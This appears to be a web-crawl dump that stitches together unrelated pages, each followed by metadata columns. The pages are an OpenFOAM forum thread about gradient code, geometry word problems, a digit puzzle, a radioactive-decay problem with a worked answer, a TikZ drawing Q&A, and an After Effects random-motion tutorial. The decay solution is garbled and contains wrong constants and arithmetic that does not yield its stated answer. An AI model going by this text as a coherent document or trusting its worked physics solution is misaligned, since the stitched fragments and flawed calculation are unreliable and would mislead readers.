by the volume of the current grid. code detail of fvc::grad(p) using GraussGrand: Code: ```Foam::fv::gaussGrad::gradf ( const GeometricField& ssf, const word& name ) { typedef typename outerProduct::type GradType; const fvMesh& mesh = ssf.mesh(); tmp > tgGrad ( new GeometricField ( IOobject ( name, ssf.instance(), mesh, IOobject::NO_READ, IOobject::NO_WRITE ), mesh, dimensioned ( "0", ssf.dimensions()/dimLength, pTraits::zero ), zeroGradientFvPatchField::typeName ) ); GeometricField& gGrad = tgGrad(); const labelUList& owner = mesh.owner(); const labelUList& neighbour = mesh.neighbour(); const vectorField& Sf = mesh.Sf(); Field& igGrad = gGrad; const Field& issf = ssf; forAll(owner, facei) { GradType Sfssf = Sf[facei]*issf[facei]; igGrad[owner[facei]] += Sfssf; igGrad[neighbour[facei]] -= Sfssf; } forAll(mesh.boundary(), patchi) { const labelUList& pFaceCells = mesh.boundary()[patchi].faceCells(); const vectorField& pSf = mesh.Sf().boundaryField()[patchi]; const fvsPatchField& pssf = ssf.boundaryField()[patchi]; forAll(mesh.boundary()[patchi], facei) { igGrad[pFaceCells[facei]] += pSf[facei]*pssf[facei]; } } igGrad /= mesh.V(); gGrad.correctBoundaryConditions(); return tgGrad; }``` so my puzzle is that: the right hand part of U equation was divided by the volume, but the left part was not ... the left hand part must be also divied by the volume in some place, but I can't figure it out... any hint will be highly appreciated. thanks M.P J Last edited by MPJ; October 3, 2011 at 09:26.
October 3, 2011, 10:49 #2 New Member Oliver Pasqual Join Date: May 2011 Posts: 13 Rep Power: 14 perhaps the problem has not been discribed clearly....... as we know, all the term of the momentum equation must be divided by the cell volumes, when dig into the detail of the code implementation, only the R.H.S of U equation was divided by the volume in the discretization process of fvc::grad(p). How about the L.H.S of the equation? From the discretization process of fvm::, all the term were integrated over the entire volume. I can't find the code on the division operation for them terms .... can somebody give any suggestion? thanks.
October 4, 2011, 02:49 #3 Senior Member Elvis Join Date: Mar 2009 Location: Sindelfingen, Germany Posts: 620 Blog Entries: 6 Rep Power: 24 Hello, have you read http://openfoamwiki.net/index.php/IcoFoam ? hope that gets you further
October 4, 2011, 09:44
#4
New Member
Oliver Pasqual
Join Date: May 2011
Posts: 13
Rep Power: 14
Quote:
Originally Posted by elvis Hello, have you read http://openfoamwiki.net/index.php/IcoFoam ? hope that gets you further
I am new to OF.
I have read the the detail discription of icoFoam several times.
A long time's debug found that the secret lies in the operation overloading of fvMatrix.
and now I am more clear about the discretization of equations using the language of OpenFOAM.
thanks
M.P J | 1,206 | 4,351 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.90625 | 3 | CC-MAIN-2024-18 | latest | en | 0.711977 |
https://www.hackmath.net/en/problem/2654 | 1,560,836,132,000,000,000 | text/html | crawl-data/CC-MAIN-2019-26/segments/1560627998607.18/warc/CC-MAIN-20190618043259-20190618065259-00233.warc.gz | 762,974,614 | 6,705 | # The ditch
Ditch with cross section of an isosceles trapezoid with bases 2m 6m are deep 1.5m. How long is the slope of the ditch?
Result
x = 2.5 m
#### Solution:
Leave us a comment of example and its solution (i.e. if it is still somewhat unclear...):
Be the first to comment!
#### To solve this verbal math problem are needed these knowledge from mathematics:
Pythagorean theorem is the base for the right triangle calculator.
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Calculate the absolute value of complex number -15-29i.
17. Four ropes
TV transmitter is anchored at a height of 44 meters by four ropes. Each rope is attached at a distance of 55 meters from the heel of the TV transmitter. Calculate how many meters of rope were used in the construction of the transmitter. At each attachment. | 891 | 3,160 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.3125 | 4 | CC-MAIN-2019-26 | latest | en | 0.859889 |
https://www.openmiddle.com/maximizing-rectangular-prism-surface-area/?replytocom=56800 | 1,686,263,535,000,000,000 | text/html | crawl-data/CC-MAIN-2023-23/segments/1685224655143.72/warc/CC-MAIN-20230608204017-20230608234017-00252.warc.gz | 1,004,733,293 | 22,573 | # Maximizing Rectangular Prism Surface Area
Directions: Using the digits 1 through 9 at most one time each, fill in the boxes to list the dimensions of a rectangular prism with the greatest possible surface area.
### Hint
Which three digits do you think WON’T be included in the dimensions? Why not? (from Julie Wright
94 x 85 x 76 (from Julie Wright)
Source: Robert Kaplinsky
## Greatest Common Factor
Directions: Using the digits 0 to 9 at most one time each, place a digit … | 114 | 484 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.703125 | 3 | CC-MAIN-2023-23 | latest | en | 0.846478 |
http://clay6.com/qa/29163/a-cd-radionuclide-goes-through-transformation-chain-cd-to-ln-to-sn-stable-t | 1,481,388,407,000,000,000 | text/html | crawl-data/CC-MAIN-2016-50/segments/1480698543316.16/warc/CC-MAIN-20161202170903-00185-ip-10-31-129-80.ec2.internal.warc.gz | 52,795,033 | 27,814 | Browse Questions
# A $\;^{118}cd\;$ radionuclide goes through transformation chain $\;^{118}Cd\; \to_{30 min}^{118}ln \to_{45 min} ^{118}Sn\;$(stable) The half lives are written below respective arrows ,A time t=0 only celuear present. Then the fraction of nuclei transformed into stable over 60 minutes:
$(a)\;0.49\qquad(b)\;0.38\qquad(c)\;0.31\qquad(d)\;0.26$
Can you answer this question?
Answer : (c) 0.31
Explanation :
At time t=t
$N_{1}=N_{0}e^{-\lambda t }$
$N_{2}=\large\frac{N_{0} \lambda_{1}}{\lambda_{2} - \lambda_{1}}\;(e^{-\lambda_{1}t}-e^{-\lambda_{2}t})$
$N_{3}=N_{0}-N_{1}-N_{2}$
$=N_{0}\;[1-e^{-\lambda_{1}t} - \large\frac{\lambda_{1}}{\lambda_{2}-\lambda_{1}}\;(e^{-\lambda_{1}t}-e^{-\lambda_{2}t})]$
$\large\frac{N_{3}}{N_{0}}=1-e^{-\lambda_{1}t}-\large\frac{\lambda_{1}}{\lambda_{2}-\lambda_{1}}\;(e^{-\lambda_{1}t}-e^{-\lambda_{2}t})$
$\lambda_{1}=\large\frac{0.693}{30}=0.231min^{-1}$
$\lambda_{1}=\large\frac{0.693}{45}=0.0154min^{-1}$
and t=60 minutes
$\large\frac{N_{3}}{N_{0}}=1-e^{-0.0231\times60}-\large\frac{0.0231}{0.0154-0.0231}\;(e^{-0.0231\times60}-e^{-0.0154\times60})$
$=1-0.25+3(0.25-0.4)$
$=0.31\;.$
answered Feb 25, 2014 by | 516 | 1,165 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.578125 | 4 | CC-MAIN-2016-50 | longest | en | 0.422724 |
https://tex.stackexchange.com/questions/36257/line-segments-with-text-in-the-middle-in-tikz/36291 | 1,582,313,202,000,000,000 | text/html | crawl-data/CC-MAIN-2020-10/segments/1581875145534.11/warc/CC-MAIN-20200221172509-20200221202509-00267.warc.gz | 578,734,857 | 35,234 | Line segments with text in the middle in TikZ
Another exam, another image. I am trying to create the following image in TikZ
Now. I am looking for some feedback on my code. I am trying to learn TikZ as fast as I can, but still I feel I am doing things in an overly complicated or hugely inefficient way.
My main problem is finding the best way to create the line segments on the left. How do I do this? Breaking them up and placing text in between just is meh.
My attempt is below. Please pay little attention to it as it really sucks.
\documentclass[10pt,a4paper]{article}
\usepackage[dvipsnames*,svgnames]{xcolor}
\usepackage{tkz-euclide}
\usetkzobj{all}
\usepackage{mathtools}
\begin{document}
\begin{tikzpicture}[scale=5]
\tkzDefPoint(-0.1,0){P}
\tkzDefPoint(0,0){O}
\tkzDefPoint(1.2,0){A}
\tkzDefPoint(0,0.8){B}
\tkzDefPoint(0,1.6){C}
\tkzDefPoint(1.2,0){G}
\tkzDefPoint(1.2,.83){U}
\tkzDefPointBy[rotation= center B angle 110](C) \tkzGetPoint{D}
\tkzDefPointBy[rotation= center O angle 35](G) \tkzGetPoint{E}
\tkzDefMidPoint(B,E) \tkzGetPoint{M1}
\tkzDefMidPoint(C,E) \tkzGetPoint{M2}
\tkzMarkAngle[thick,scale=0.5,fill=black!20!white](A,O,E)
\tkzMarkAngle[thick,scale=0.4,fill=black!20!white](E,B,C)
\tkzDrawSegment[thick](P,A)
\draw[thick](-0.6,0)--(-0.4,0);\draw[thick](-0.6,1.6)--(-0.4,1.6);
\draw[thick](-0.1,0.8)--(-0.3,0.8);\draw[thick](-0.1,1.6)--(-0.3,1.6);
\draw[thick](-0.2,1.6)--(-0.2,1.3);\draw[thick](-0.2,0.8)--(-0.2,1.1);
\draw[thick](-0.5,0.0)--(-0.5,0.6);\draw[thick](-0.5,0.8)--(-0.5,1.6);
\tkzDrawSegment[ultra thick,Goldenrod,dashed](O,U)
\tkzDrawSegments[ultra thick](O,C B,E)
\tkzDrawSegment[ultra thick,Magenta](C,E)
\tkzLabelPoint[left=-.55](-0.2,1.2){$0.8$ m} ;
\tkzLabelPoint[left=-.65](-0.5,0.7){$\stackrel{\text{\large Vindu}}{1.6 \text{m}}$} ;
\tkzLabelPoint[above=0.2](M1){Arm} ;
\tkzLabelPoint[below left](M1){$0.8$m} ;
\tkzLabelPoint[above=0.2,right, Magenta](M2){$\mathit{\mathbf{L}}$} ;
\tkzLabelPoint[above=1,Magenta](M2){\bfseries Markiseduk} ;
\tkzLabelPoint[below=1.75,left,Goldenrod](E){\bfseries Solstr\aa le} ;
\tkzLabelAngle[pos=0.3](A,O,E){$u$}
\tkzLabelAngle[pos=0.225](E,B,C){$v$}
\end{tikzpicture}
\end{document}
My result...
• Aren't you afraid your students might read this? Nice exam preparation! ;-) – gerrit Nov 26 '11 at 18:14
• Its an old exam, I am just clening them up and adding solutions for them! ^^ – N3buchadnezzar Nov 26 '11 at 18:21
• I have the feeling that this would be a lot simpler in plain TikZ. For example, the yellow line could be drawn along with the label with a simple command like \draw[ultra thick,Goldenrod,dashed] (O) -- (U) node[midway,below right] {\bfseries Solstr\aa le};. – qubyte Nov 26 '11 at 18:52
• It's a lot simpler if you have studied Tikz but for someone who does not to know all about tikz' but who wants to draw only geometric pictures, perhaps it's a fine way. With this package, I hope that the user tries to study tikzbecause a lot of "styles" (options) are the same. It will be easy to work with tikz after that. Its also easy to pass from pst-eucl to tkz-euclidewithout to know all the pgfmanual. – Alain Matthes Nov 26 '11 at 20:01
With tkz-euclide but I remark a bug because I need to use pos=0.4 to place the label vertically (??)
version 2 with option |-|
\documentclass[10pt,a4paper]{article}
\usepackage[dvipsnames*,svgnames]{xcolor}
\usepackage{tkz-euclide}
\usetkzobj{all}
\usepackage{mathtools}
\begin{document}
\begin{tikzpicture}[scale=5]
\tkzDefPoint(-0.1,0){P}
\tkzDefPoint(0,0){O}
\tkzDefPoint(1.2,0){A}
\tkzDefPoint(0,0.8){B}
\tkzDefPoint(0,1.6){C}
\tkzDefPoint(1.2,0){G}
\tkzDefPoint(1.2,.83){U}
\tkzDefPointBy[rotation= center B angle 110](C) \tkzGetPoint{D}
\tkzDefPointBy[rotation= center O angle 35](G) \tkzGetPoint{E}
\tkzDefShiftPoint[B](-0.2,0){B'}
\tkzDefShiftPoint[C](-0.2,0){C'}
\tkzDefShiftPoint[O](-0.6,0){O''}
\tkzDefShiftPoint[C](-0.6,0){C''}
\tkzMarkAngle[thick,scale=0.5,fill=black!20!white](A,O,E)
\tkzMarkAngle[thick,scale=0.4,fill=black!20!white](E,B,C)
\tkzDrawSegment[thick](P,A)
\tkzDrawSegment[ultra thick,Goldenrod,dashed](O,U)
\tkzDrawSegments[ultra thick](O,C B,E)
\tkzDrawSegment[ultra thick,Magenta](C,E)
\tkzDrawSegments[|-|](B',C' O'',C'')
\tkzLabelSegment[above=0.2](B,E){Arm}
\tkzLabelSegment[below left](B,E){$0.8$m}
\tkzLabelSegment[above=0.2,right, Magenta](C,E){$\mathit{\mathbf{L}}$}
\tkzLabelSegment[above=1,Magenta](C,E){\bfseries Markiseduk}
\tkzLabelSegment[pos=.4,fill=white,inner sep=10pt](B',C'){$0.8$ m}
\tkzLabelSegment[pos=.4,fill=white,inner sep=10pt,align=center](O'',C''){\large Vindu\\$1.6$ m}
\tkzLabelPoint[below=1.75,left,Goldenrod](E){\bfseries Solstr\aa le}
\tkzLabelAngle[pos=0.3](A,O,E){$u$}
\tkzLabelAngle[pos=0.225](E,B,C){$v$}
\end{tikzpicture}
\end{document}
• I found the bug in \tkzLabelSegment. I need to remove above in the code below \def\tkz@LabelSegment[#1](#2,#3)#4{% \begingroup \path (#2) to node[above,#1]{#4} (#3) ; \endgroup } – Alain Matthes Nov 26 '11 at 20:04
Another way to break the line is to draw it after the node and make it go via the node. When you do that, then TikZ breaks the line to "hop" over the node. As a simple example:
\node (a) at (0,0) {a};
\draw (-3,0) -- (a) -- (3,0);
will produce:
---- a ----
(okay, it'll look a bit nice than that!)
• I'm trying to find something shorter (same idea occurred). Do you reckon anything can be done with a decoration? Probably overkill! Obviously this would entail a lot more code somewhere. I guess this will be the shortest in practical terms. – qubyte Nov 26 '11 at 18:57
• @MarkS.Everitt I guess that by "shorter" you would want it all done in a single command. You still need the node to be actually placed first so that the path knows where to break itself, but as it's placed at a certain location on the path then it should be possible. Not sure how much hacking would be involved, though. Possibly decorations, or pre/post actions. I'm not sure. – Loop Space Nov 26 '11 at 19:18
This is how I would have done it, but it is definitely a matter of taste. You can also play around with the angle -105 to get different outputs for your needs.
\documentclass{article}
\usepackage{tikz}
\usetikzlibrary{calc,arrows}
\begin{document}
\begin{tikzpicture}[every node/.style={inner sep=0cm,outer sep=0cm},scale=5]
\draw[thick] (0,0) node (O) {} -- (0,0.8cm) node(M) {} -- (0,1.6cm) node (T) {} (0,0.8cm) -- ($(M)!1!-105:(T)$) node (tip){};
\draw (-2mm,0) -- node (justanode) {} (1.2cm,0);
\draw[magenta] (T) --node[near start,above right=2mm] {{\bfseries Markiseduk}} node[midway,above right=1mm] {L} (tip);
\draw[yellow!80!black,densely dashed] (O) -- node[midway,below right=1mm] {{\bfseries Solstr\aa le}} ($(O)!1.1!(tip)$);
\draw[|-|] ($(T) + (-2mm,0)$) -- node[fill=white,inner sep=1mm,midway] {0.8 m}($(M) + (-2mm,0)$);
\draw[|-|] ($(T) + (-4mm,0)$) -- node[fill=white,inner sep=1mm,text width=1cm,midway] {Vindu 1.6 m}($(O) + (-4mm,0)$);
\end{tikzpicture}
\end{document}
The output:
A very crude way of making those lines with labels is with the following macro
\newcommand{\midlabelline}[3]{
\node (midlabel) at ($(#1)!.5!(#2)$) {#3};
\draw[|-,thick] (#1) -- (midlabel);
\draw[-|,thick] (midlabel) -- (#2);
}
which requires the calc library, i.e. \usetikzlibrary{calc}. This can obviously be improved, but it will do what you want with a command like:
\midlabelline{-20,80}{-20,160}{0.8\,m}
You can simply add the node with a white background. The line you are trying to create would be generated by:
\tikz\path[draw] (0,0) -- ++(1,0) ++(-0.5,0) -- ++(0,-5) node[pos=0.5,fill=white] {Vindu} ++(.5,0) -- ++(-1,0);
To get it to two lines, you need to add text alignment and width. If you want the white space to be a little greater, increase the inner sep with inner sep=6pt, for instance, on the node.
• Or \tikz \draw[|-|] (0,0) to node [fill=white]{text} (0,5) ; by default you have pos=.5 – Alain Matthes Nov 26 '11 at 20:14 | 2,957 | 7,936 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.515625 | 3 | CC-MAIN-2020-10 | latest | en | 0.581425 |
https://www.jiskha.com/display.cgi?id=1347207458 | 1,516,653,769,000,000,000 | text/html | crawl-data/CC-MAIN-2018-05/segments/1516084891539.71/warc/CC-MAIN-20180122193259-20180122213259-00186.warc.gz | 934,733,497 | 3,624 | # Math
posted by .
an air traffic controller spots two planes at the same altitude flying towards one another. their flight paths form a right angle at point p. One plane is 150 miles from point p and is moving 450mph. the other plane is moving at 450mph but is 200 miles from point p. write the distance d between the planes as a function of time t.
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More Similar Questions | 672 | 2,844 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.03125 | 3 | CC-MAIN-2018-05 | latest | en | 0.92114 |
http://www.motionscript.com/mastering-expressions/random-1.html | 1,537,477,598,000,000,000 | text/html | crawl-data/CC-MAIN-2018-39/segments/1537267156613.38/warc/CC-MAIN-20180920195131-20180920215531-00062.warc.gz | 373,469,412 | 7,911 | Random Motion
The Basics
Randomness is one of the most asked about uses of expressions and After effects gives us a pretty good arsenal of tools with which to implement it. The basic random() method has several different flavors. Some examples would probably be helpful in understanding the different ways you can call random():
```Random Expression Result
```
random() // number between 0 and 1
random(6) // number between 0 and 6
random(-2,4) // number between -2 and 4
random([3,4,5]) // vector between [0,0,0] and [3,4,5]
random([3,4,5],[6,7,8]) // vector between [3,4,5] and [6,7,8]
```
```
So you can see that the random() method is pretty flexible.
We'll illustrate how you might use this with a few examples. Let's say you wanted to randomly position a layer within the comp. Any of these expressions for Position will do the trick:
``````
random([thisComp.width,thisComp.height])
random([0,0],[thisComp.width,thisComp.height])
x = random(thisComp.width);
y = random(thisComp.height);
[x,y]
x = random()*thisComp.width;
y = random()*thisComp.height;
[x,y]
``````
While the expressions above do indeed position the layer randomly, if you try any them you'll discover what seems to be a serious limitation of the random() method. You get a different result on each frame. This is great if you want to have a layer frenetically hop all over the place. Most of the time though, you want a more controlled randomness. This is where seedRandom() comes in.
Seed Random to the Rescue
seedRandom() is a clever method that Adobe came up with to let us control the rate of randomness. Actually it has more than one use. You can also use it just to change the sequence of random numbers generated by random(). seedRandom() has two parameters. The first one is the random seed, and the second is a true/false flag that tells After Effects whether or not the random numbers generated by random() will be "timeless". We'll get back to that "timeless" business in a minute, but first let's look at the other parameter. In its simplest form, seedRandom just seeds the random number generator to produce a particular sequence of random numbers that will change on every frame.
As an example, these two expressions will generate completely different sequences of random numbers (which will change on each frame):
``````
seedRandom(3);
random()
seedRandom(999);
random()
``````
OK - here comes the cool part. By setting the second parameter of seedRandom() to "true", the numbers generated by random() will be the same on every frame. Here's an example expression for Position that will move a layer to a random position and hold it at that location:
``````
seedRandom(3,true);
random([thisComp.width,thisComp.height])
``````
Remember that without the seedRandom() call, the layer would bounce around to a different Position on each frame. How does that help us? Having a layer move to a random Position and stay there is pretty boring, right? Yes it is. But all we need to do to get a new position is change the seed. So to get the layer to move around randomly in an orderly fashion, all we have to do is update the seed periodically and get a new random Position from random(). Let's construct an example. Say we want our layer to move to a new random Position every half second. All we need is some new code in our expression that will change the seed every half second. How would we do that? Remember that the Math.floor() JavaScript function rounds down to the nearest integer. We can use that to generate a seed that changes every half second by dividing the current time by .5 and rounding down to the nearest integer. Here's an example (you would change the value of "holdTime" to change the length of time each Position is held):
``````
holdTime = .5; //time to hold each position (seconds)
seed = Math.floor(time/holdTime);
seedRandom(seed,true);
random([thisComp.width, thisComp.height])
``````
Now the layer still moves around randomly, but it does it a half-second intervals. Let's make a modification so that our motion stays in the "title safe" area of the comp. We'll do this by restricting the results of the calls to random() to the values between 10% and 90% of the width and height of the comp. Here's the modified code:
random position every .5 seconds
``````
holdTime = .5; //time to hold each position (seconds)
minVal = [0.1*thisComp.width, 0.1*thisComp.height];
maxVal = [0.9*thisComp.width, 0.9*thisComp.height];
seed = Math.floor(time/holdTime);
seedRandom(seed,true);
random(minVal,maxVal)
``````
(Note that there's a slightly simpler way to do this by using the posterizeTime() method in conjunction with seedRandom(), but we'll look at that when we delve into using expressions to manipulate time).
OK, that's better, but what if we wanted the layer to move smoothly from one Position to the other? This brings us to one of the most important concepts for generating random motion, which is that whenever you set the seed to a particular number, the random sequence generated by random() will always be the same. For example if we set the seed to 1, random() might give us .45633. If we change the seed to 2, we might get .78341. But if we change the seed back to 1, we will get .45633 again. So how does this help us generate smooth random motion? Let's look again at our example above. For the first half second, the seed calculates out to be 0. So for every frame in the first half second, the call to random() generates the same random Position based on a seed of 0. After the first half second, the seed changes to 1 and the random Position changes. So what if we were to "peek ahead" by changing the seed to the value that we'll be using in the next half second to see what the next Position will be, and start heading there? The sequence would be to calculate the seed for this half second, use that to get the random Position for this half second (which will be our starting Position), bump the seed by one and use that to see what the random starting Position for the next half second will be (which we'll use as the ending Position for the current half-second segment). OK, here's the code:
random motion - synchronized
``````
segDur = .5;// duration of each "segment" of random motion
minVal = [0.1*thisComp.width, 0.1*thisComp.height];
maxVal = [0.9*thisComp.width, 0.9*thisComp.height];
seed = Math.floor(time/segDur);
segStart = seed*segDur;
seedRandom(seed,true);
startVal = random(minVal,maxVal);
seedRandom(seed+1,true);
endVal = random(minVal,maxVal);
ease(time,segStart,segStart + segDur, startVal, endVal);
``````
You'll notice in the demo movie we've now got multiple stars, all at different random positions. They all have identical copies of the random position expression, so you might be wondering why they have different positions. It turns out that for any given random seed, the random values generated will be unique to each layer. Internally After Effects somehow modifies the seed so that it is unique for each layer, comp, property, effect, etc. Most of the time this is a very handy feature, but there are some occasions where it would be nice to be able to force two different layers to generate the same random numbers.
Anyway, to recap, the seed is derived from the time and the segment duration and becomes our "segment number" where segment 0 starts at time = 0, segment 1 starts at time = .5, and so on. Once we have the seed, we seed the random number generator with it and call random() to get the starting Position for this segment. Then we bump the seed, seed the random number generator with the new seed and call random() again to get the starting Position of the next segment (which is, of course, the ending Position for the current segment). Then we just use ease() to interpolate between the two Positions so that the layer eases from one Position to the next. You can change the interpolation from ease() to linear() for a different effect.
So that's all you need to generate basic random motion in After Effects. Ah, if only life were so simple.
If you duplicate the layer several times and preview the comp, you'll see that the layers moves to different Positions, but the movement of all the layers is synchronized. That is, they all arrive at their new destinations at the same time. That can be a useful effect, but what if you want something more chaotic? We'll look at a couple of things you can do to fix this.
One solution is pretty simple and gives results that can be quite useful. The other solution is much more complex (in both code and theory) but really blows the doors off this thing as far as opening up endless possibilities for randomness in After Effects. First the simple fix. We can modify the expression so the duration used by each layer is a random number within a given range, and would be different for each layer. Here's the modified code to do that:
random motion - more chaotic
``````
segMin = .3; //minimum segment duration
segMax = .7; //maximum segment duration
minVal = [0.1*thisComp.width, 0.1*thisComp.height];
maxVal = [0.9*thisComp.width, 0.9*thisComp.height];
seedRandom(index,true);
segDur = random(segMin, segMax);
seed = Math.floor(time/segDur);
segStart = seed*segDur;
seedRandom(seed,true);
startVal = random(minVal,maxVal);
seedRandom(seed+1,true);
endVal = random(minVal,maxVal);
ease(time,segStart,segStart + segDur, startVal, endVal);
``````
As you can see, the only change from the previous version is the code at the beginning that seeds the random number generator with the layer's index and then calls random() to get the segment duration. This simple change can add quite a bit of chaos to the mix.
However, if you look closely at the motion, you begin to notice that each movement of any given layer always takes the same amount of time. What if what you really want is for each movement to take a random amount of time? This brings us to a major roadblock and we have to come up with a new and very powerful concept to get around it. Before we solve it, we need to take a little side trip.
Expressions Have No Memory
The implementation of expressions in After Effects is stateless. Here's the good news: that's what allows you to move the time marker to any frame in the comp and After Effects can immediately begin to show you that frame because it doesn't have to know what any expressions applied have done in the past. So at any given frame After Effects just calculates the expression and applies the results to the value that the property would have without the expression (i.e. the original value of the property plus the effect of any keyframes.) The implications of this are enormous. An example here might help.
Let's say that you wanted to add a random value from 0 to 10 degrees to the Rotation of a layer on each frame. You would expect sporadic movement but you might also expect the layer's Rotation to always be increasing in the clockwise direction. The code would seem to be simple enough. It seems like this should do the trick:
random rotation - failed attempt
``````
rotation + random(10)
``````
When we look at the result though, it's clear that After Effects is not accumulating the effects of the random() function from frame to frame. At each frame it starts anew with the original value of Rotation (which is 0) and adds the random number to that. This is clearly not what we wanted or expected. So what do we do?
Unfortunately, what we often have to do in situations like this is to do the frame-by-frame accumulation ourselves, with code that we add to the expression. In other words, our expression has to start at frame zero and recalculate everything that has happened since then. To accomplish this we'll have to use some JavaScript to construct a "while" loop that goes through the comp one frame at a time and adds up the random numbers. The code for the loop looks a little complex, but after you do it a few times and you start to get a feel for what's going on it gets easier. Here's what the code looks like:
random rotation with accumulating loop
``````
j = 0; //initialize loop counter
accum = 0; //initialize random accumulator
seedRandom(index,true)
while (j < time){
accum += random(10);
j += thisComp.frameDuration;
}
rotation + accum
``````
Now we're getting what we expected. This is accomplished by the "while" loop that loops through the code between the curly braces until the variable "j" is greater than the current time. Each time through the loop, j gets incremented by one frame's worth of time (thisComp.frameDuration). When the loop finishes, the variable "accum" contains the sum of all the random numbers generated for this and all previous frames. Even though the code is not extremely complicated, all this comes at a cost. At each frame, the loop has to revisit all previous frames. As your comp increases in length, render times can begin to bog down as the expression has more and more to do on each frame. So there are practical limitations on the use of this technique, but for most situations (short comps) it will work just fine. In fact, as you will see shortly, many applications of this technique don't require a one-frame granularity and are much less expensive in terms of render time. What i mean is that you end up looping through the comp in chunks of time much larger than a single frame, which extends the usefulness of the technique even further. You'll see.
Back to the Task at Hand
OK - let's get back to the problem of random durations for our random motion. In the process we'll end up using the loop-through-the-comp technique that we just investigated. Let's go over what we need to do. We want our layer to move smoothly from one Position to the next and we want this to happen over a random amount of time (within a range that we will define). Armed with "seedRandom()" and "while", we're ready to tackle this thing. First, let's just go ahead and take a look at the finished code:
random motion with random durations
``````
segMin = .3; //minimum segment duration
segMax = .7; //maximum segment duration
minVal = [0.1*thisComp.width, 0.1*thisComp.height];
maxVal = [0.9*thisComp.width, 0.9*thisComp.height];
end = 0;
j = 0;
while ( time >= end){
j += 1;
seedRandom(j,true);
start = end;
end += random(segMin,segMax);
}
endVal = random(minVal,maxVal);
seedRandom(j-1,true);
dummy=random(); //this is a throw-away value
startVal = random(minVal,maxVal);
ease(time,start,end,startVal,endVal)
``````
Let's take a look at what has changed since the previous version of our random motion code. The main difference is the setup and execution of the "while" loop. There are several things going on here. The "while" loop is where the length of each "segment" of motion is determined. The segment length will be a random number between "segMin" and "segMax" (.3 and .7 seconds in this case). We are going to loop through the comp, starting at time 0, adding up the random segment lengths until we reach the current time. So, for our purposes here, it will not be necessary to revisit each frame every time the expressions runs - we only need to look at the start of each segment (which will be, on the average, about every .5 seconds or so). Meanwhile, we've also been incrementing "j" for each segment. That makes "j" unique for each segment and a perfect candidate for the seed for "seedRandom()". So when we drop out of the loop, we know the start and end times of the current segment ("start" and "end") and we have the seed ("j") that was used to generate the end time. Outside the loop (after the closing curly brace) we know that the random number generator is still seeded with the index ("j") for the current segment. So we call random() again to get the ending Position for this segment. We now have everything we need (segment start time ("start"), segment end time ("end"), and ending Position ("endVal")) except the starting Position. We can get that by backing up to the previous seed, re-seeding the random number generator, throwing away the first random number, and retrieving the starting Position ("startVal"). (See the sidebar below for a more detailed explanation of why we have to throw one random number away). Now we just apply the same ease() statement as before to generate our random-duration, smooth, random motion.
Everything from here on out gets much easier because it's all just variations on a theme. In the next section we'll extend these concepts to randomizing other properties.
previous next | 3,769 | 16,566 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.640625 | 4 | CC-MAIN-2018-39 | latest | en | 0.897226 |
